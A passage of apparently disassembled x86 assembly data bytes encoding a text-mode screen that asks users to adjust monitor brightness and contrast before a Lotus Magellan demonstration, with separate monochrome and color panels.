0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 4DH, 0FH + DB 4FH, 0FH, 4EH, 0FH, 4FH, 0FH + DB 43H, 0FH, 48H, 0FH, 52H, 0FH + DB 4FH, 0FH, 4DH, 0FH, 45H, 0FH + DB 20H, 0FH, 6FH, 0FH, 72H, 0FH + DB 20H, 0FH, 50H, 0FH, 4FH, 0FH + DB 52H, 0FH, 54H, 0FH, 41H, 0FH + DB 42H, 0FH, 4CH, 0FH, 45H, 0FH + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 43H, 0FH, 4FH, 0FH + DB 4CH, 0FH, 4FH, 0FH, 52H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 0C9H, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0CDH, 07H,0CDH, 07H,0CDH, 07H + DB 0BBH, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 0C9H, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0CDH, 30H,0CDH, 30H,0CDH, 30H + DB 0BBH, 30H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 30H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H,0BAH, 30H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H,0BAH, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 54H, 0FH + DB 6FH, 0FH, 20H, 0FH, 69H, 0FH + DB 6EH, 0FH, 73H, 0FH, 75H, 0FH + DB 72H, 0FH, 65H, 0FH, 20H, 0FH + DB 74H, 0FH, 68H, 0FH, 65H, 0FH + DB 20H, 0FH, 62H, 0FH, 65H, 0FH + DB 73H, 0FH, 74H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 0FH + DB 20H, 07H,0BAH, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H,0BAH, 30H, 20H, 07H + DB 20H, 07H, 20H, 07H, 54H, 0FH + DB 6FH, 0FH, 20H, 0FH, 69H, 0FH + DB 6EH, 0FH, 73H, 0FH, 75H, 0FH + DB 72H, 0FH, 65H, 0FH, 20H, 0FH + DB 74H, 0FH, 68H, 0FH, 65H, 0FH + DB 20H, 0FH, 62H, 0FH, 65H, 0FH + DB 73H, 0FH, 74H, 0FH, 20H, 0FH + DB 20H, 0FH, 20H, 0FH, 20H, 07H + DB 20H, 07H,0BAH, 30H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 20H, 07H, 20H, 07H + DB 0BAH, 07H, 20H, 07H, 20H, 07H + DB 20H, 07H, 64H, 0FH, 65H, 0FH + DB 6DH, 0FH, 6FH, 0FH +DATA_16 DB 6EH ; Data table (indexed access) + DB 0FH, 73H, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 74H, 0FH, 69H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 66H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 64H, 0FH, 65H + DB 0FH, 6DH, 0FH, 6FH, 0FH, 6EH + DB 0FH, 73H, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 74H, 0FH, 69H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 66H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 4CH, 0FH, 6FH, 0FH, 74H + DB 0FH, 75H, 0FH, 73H, 0FH, 20H + DB 0FH, 4DH, 0FH, 61H, 0FH, 67H + DB 0FH, 65H, 0FH, 6CH, 0FH, 6CH + DB 0FH, 61H, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 61H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 4CH, 0FH, 6FH, 0FH, 74H + DB 0FH, 75H, 0FH, 73H, 0FH, 20H + DB 0FH, 4DH, 0FH, 61H, 0FH, 67H + DB 0FH, 65H, 0FH, 6CH, 0FH, 6CH + DB 0FH, 61H, 0FH, 6EH, 0FH, 20H + DB 0FH, 6FH, 0FH, 6EH, 0FH, 20H + DB 0FH, 61H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 6DH + DB 0FH, 6FH, 0FH, 6EH, 0FH, 6FH + DB 0FH, 63H, 0FH, 68H, 0FH, 72H + DB 0FH, 6FH, 0FH, 6DH, 0FH, 65H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 2CH + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 63H + DB 0FH, 6FH, 0FH, 6CH, 0FH, 6FH + DB 0FH, 72H, 0FH, 20H, 0FH, 6DH + DB 0FH, 6FH, 0FH, 6EH, 0FH, 69H + DB 0FH, 74H, 0FH, 6FH, 0FH, 72H + DB 0FH, 2CH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 74H, 0FH, 75H + DB 0FH, 72H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 72H + DB 0FH, 69H, 0FH, 67H, 0FH, 68H + DB 0FH, 74H, 0FH, 6EH, 0FH, 65H + DB 0FH, 73H, 0FH, 73H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 74H, 0FH, 75H + DB 0FH, 72H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 72H + DB 0FH, 69H, 0FH, 67H, 0FH, 68H + DB 0FH, 74H, 0FH, 6EH, 0FH, 65H + DB 0FH, 73H, 0FH, 73H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 61H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 73H, 0FH, 74H + DB 0FH, 20H, 0FH, 6BH, 0FH, 6EH + DB 0FH, 6FH, 0FH, 62H, 0FH, 73H + DB 0FH, 20H, 0FH, 6FH, 0FH, 6EH + DB 0FH, 20H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 61H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 72H + DB 0FH, 61H, 0FH, 73H, 0FH, 74H + DB 0FH, 20H, 0FH, 6BH, 0FH, 6EH + DB 0FH, 6FH, 0FH, 62H, 0FH, 73H + DB 0FH, 20H, 0FH, 6FH, 0FH, 6EH + DB 0FH, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 72H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 20H + DB 0FH, 75H, 0FH, 6EH, 0FH, 74H + DB 0FH, 69H, 0FH, 6CH, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 79H + DB 0FH, 6FH, 0FH, 75H, 0FH, 72H + DB 0FH, 20H, 0FH, 6DH, 0FH, 6FH + DB 0FH, 6EH, 0FH, 69H, 0FH, 74H + DB 0FH, 6FH, 0FH, 72H, 0FH, 20H + DB 0FH, 75H, 0FH, 6EH, 0FH, 74H + DB 0FH, 69H, 0FH, 6CH, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 61H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 20H, 0FH, 61H, 0FH, 70H + DB 0FH, 70H, 0FH, 65H, 0FH, 61H + DB 0FH, 72H, 0FH, 73H, 0FH, 20H + DB 0FH, 61H, 0FH, 72H, 0FH, 6FH + DB 0FH, 75H, 0FH, 6EH, 0FH, 64H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 61H, 0FH, 20H + DB 0FH, 62H, 0FH, 6FH, 0FH, 78H + DB 0FH, 20H, 0FH, 69H, 0FH, 73H + DB 0FH, 20H, 0FH, 63H, 0FH, 6CH + DB 0FH, 65H, 0FH, 61H, 0FH, 72H + DB 0FH, 6CH, 0FH, 79H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 74H, 0FH, 68H, 0FH, 69H + DB 0FH, 73H, 0FH, 20H, 0FH, 74H + DB 0FH, 65H, 0FH, 78H, 0FH, 74H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 54H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 74H, 0FH, 65H + DB 0FH, 78H, 0FH, 74H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 76H, 0FH, 69H, 0FH, 73H + DB 0FH, 69H, 0FH, 62H, 0FH, 6CH + DB 0FH, 65H, 0FH, 20H, 0FH, 61H + DB 0FH, 72H, 0FH, 6FH, 0FH, 75H + DB 0FH, 6EH, 0FH, 64H, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 69H + DB 0FH, 73H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 73H + DB 0FH, 68H, 0FH, 6FH, 0FH, 75H + DB 0FH, 6CH, 0FH, 64H, 0FH, 20H + DB 0FH, 62H, 0FH, 65H, 0FH, 20H + DB 0FH, 62H, 0FH, 72H, 0FH, 69H + DB 0FH, 67H, 0FH, 68H, 0FH, 74H + DB 0FH, 65H, 0FH, 72H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 74H + DB 0FH, 65H, 0FH, 78H, 0FH, 74H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 74H, 0FH, 68H + DB 0FH, 61H, 0FH, 6EH, 0FH, 20H + DB 0FH, 74H, 0FH, 68H, 0FH, 65H + DB 0FH, 20H, 0FH, 62H, 0FH, 6FH + DB 0FH, 78H, 0FH, 2EH, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 54H + DB 0FH, 68H, 0FH, 65H, 0FH, 6EH + DB 0FH, 20H, 0FH, 70H, 0FH, 72H + DB 0FH, 65H, 0FH, 73H, 0FH, 73H + DB 0FH, 20H, 0FH, 20H, 0FH, 4DH + DB 07H, 20H, 0FH, 20H, 0FH, 74H + DB 0FH, 6FH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 07H,0BAH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 54H + DB 0FH, 68H, 0FH, 65H, 0FH, 6EH + DB 0FH, 20H, 0FH, 70H, 0FH, 72H + DB 0FH, 65H, 0FH, 73H, 0FH, 73H + DB 0FH, 20H, 0FH, 20H, 0FH, 43H + DB 07H, 20H, 0FH, 20H, 0FH, 74H + DB 0FH, 6FH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H, 20H, 07H,0BAH, 30H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 69H + DB 0FH, 6EH, 0FH, 75H, 0FH, 65H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 07H,0BAH, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 63H, 0FH, 6FH + DB 0FH, 6EH, 0FH, 74H, 0FH, 69H + DB 0FH, 6EH, 0FH, 75H, 0FH, 65H + DB 0FH, 2EH, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 0FH, 20H + DB 0FH, 20H, 0FH, 20H, 07H, 20H + DB 07H,0BAH, 30H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H,0BAH + DB 30H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0C8H, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0CDH, 07H,0CDH + DB 07H,0CDH, 07H,0BCH, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H, 20H, 07H, 20H + DB 07H, 20H, 07H,0C8H, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 30H,0CDH, 30H,0CDH + DB 30H,0CDH, 